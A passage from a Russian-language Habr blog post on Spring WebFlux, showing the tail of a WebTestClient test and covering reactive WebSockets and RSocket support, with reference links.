webClient.post().uri("/students")
.contentType(MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON)
.body(Mono.just(newStudent), Student.class)
.exchange()
.expectStatus().isOk()
.expectHeader().contentType(MediaType.APPLICATION_JSON)
.expectBody()
.jsonPath("$.id").isNotEmpty()
.jsonPath("$.name").isEqualTo(newStudent.getName())
.jsonPath("$.address").isEqualTo(newStudent.getAddress());
}
...
}
```
### 5. WEBSOCKETS и RSOCKET
#### 5.1 Веб-сокеты
В Spring 5 WebSockets также получает дополнительные реактивные возможности. Чтобы создать сервер WebSocket, вы можете создать реализацию `WebSocketHandler` интерфейса, которая содержит следующий метод:
```
Mono handle(WebSocketSession session)
```
Этот метод вызывается при установке нового соединения WebSocket и позволяет обрабатывать сеанс. Он принимает в `WebSocketSession` качестве входных данных и возвращает Mono , чтобы сигнализировать о завершении обработки сеанса приложением.
WebSocketSession имеет методы, определенные для обработки входящих и исходящих потоков:
```
Flux receive()
Mono send(Publisher messages)
```
Spring WebFlux также предоставляет `WebSocketClient` реализации для Reactor Netty, Tomcat, Jetty, Undertow и стандартной Java.
Для получения дополнительной информации прочтите следующую главу в документации Spring's Web on Reactive Stack: [WebSockets](https://docs.spring.io/spring-framework/docs/current/reference/html/web-reactive.html#webflux-websocket)
#### 5.2 RSOCKET
RSocket - это протокол, моделирующий семантику реактивных потоков по сети. Это двоичный протокол для использования в транспортных потоках байтовых потоков, таких как TCP, WebSockets и Aeron. В качестве введения в эту тему я рекомендую следующий пост в блоге, который написал мой коллега Pär: [An introduction to RSocket](https://callistaenterprise.se/blogg/teknik/2020/06/05/rsocket-part-1/)
А для получения дополнительной информации о поддержке Spring Framework протокола [RSocket](https://docs.spring.io/spring-framework/docs/current/reference/html/web-reactive.html#rsocket)
### 6. Подводя итог…
Это сообщение в блоге продемонстрировало, как WebFlux можно использовать для создания реактивного веб-приложения. В [следующем и последнем посте](https://habr.com/ru/post/565060/) этой серии будет показано, как мы можем сделать весь наш стек приложений полностью неблокирующим, также реализовав неблокирующую связь с базой данных - с помощью R2DBC (Reactive Relational Database Connectivity)!
#### Ссылки
[Spring Framework documentation - Web on Reactive Stack](https://docs.spring.io/spring-framework/docs/current/reference/html/web-reactive.html)
[Spring Boot Features - The Spring WebFlux framework](https://docs.spring.io/spring-boot/docs/current/reference/html/spring-boot-features.html#boot-features-webflux)
[Spring Security - Reactive Applications](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#reactive-applications) | https://habr.com/ru/post/565056/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.